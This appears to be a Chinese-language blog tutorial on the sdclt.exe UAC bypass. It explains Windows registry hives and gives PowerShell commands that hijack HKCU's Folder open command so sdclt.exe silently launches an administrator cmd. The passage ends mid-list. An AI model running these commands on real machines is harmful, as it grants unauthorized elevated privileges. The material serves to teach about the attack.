Sdclt.exe 是 Windows 內建的「備份與還原」功能的主要執行檔,
位置放在 C:\Windows\System32
,
因為本身帶數位簽章,而且有 Auto-elevate,
所以常常會被拿來當作攻擊的工具,
今天我們就一起來看看他的用法吧。
先來看看什麼是登錄碼吧,
我們可以把登錄碼當成是整個 OS 的中央大腦,
他可以存電腦上幾乎所有東西的設定、選項,
上面我們有看到類比成資料夾、檔案的相應關係,
其實如果我們更深入去看的話,
整個 Registry 的最頂層有五個主要的根 Keys
HKEY_CLASSES_ROOT
(HKCR):主要管理檔案關聯和 COM 物件。HKEY_CURRENT_USER
(HKCU):儲存目前登入使用者的個人設定。這就是我們這次攻擊利用的地方,因為改這邊不需要管理員權限。
HKEY_LOCAL_MACHINE
(HKLM):儲存與本機電腦相關的設定,對所有使用者都有效。修改這裡需要管理員權限。HKEY_USERS
(HKU):儲存了電腦上所有使用者帳號的設定檔。HKEY_CURRENT_USER 其實只是 HKEY_USERS 下目前使用者設定的一個快捷方式。HKEY_CURRENT_CONFIG
(HKCC):儲存目前硬體設定檔的資訊。sdclt.exe 的 UAC Bypass,其實就是一種 Registry Hijacking,
用 Windows Shell 的命令指派、委託機制來達成攻擊,
而且我們最主要利用的就是上面提到的 HKCU
。
我們要修改的是這個路徑:HKEY_CURRENT_USER\Software\Classes\Folder\shell\open\command
拆開來看一下:
HKEY_CURRENT_USER
(HKCU): 重點部分。這是專屬當前登入使用者的 Registry 區域。對這個區域的任何修改完全不需要系統管理員權限,我們就可以在一個低權限的 Shell 中完成所有準備工作。Software\Classes
: HKCU 中用來覆蓋系統級別(HKEY_LOCAL_MACHINE\Software\Classes)檔案關聯和 COM 物件設定的地方。系統在尋找如何處理某個檔案類型時,會優先檢查目前使用者的這個路徑。Folder\shell\open\command
: 定義當系統對一個資料夾執行「開啟」動作的時候,應該執行的命令。正常情況打開資料夾是由 explorer.exe 處理,但我們可以劫持這個行為。等等攻擊的過程,我們主要會設定兩個 Keys:
New-Item "HKCU:\Software\Classes\Folder\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)" -Value "cmd.exe" -Force
Set-ItemProperty "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Value "" -Force
sdclt.exe
應該就會發現不會有任何 UAC 視窗跳出來,
然後有帶 admin 權限的 cmd 就跳出來了,
這樣我們就成功 UAC Bypass 了。
這邊也就整理一下 Scdlt.exec 在攻擊方面的一些優勢: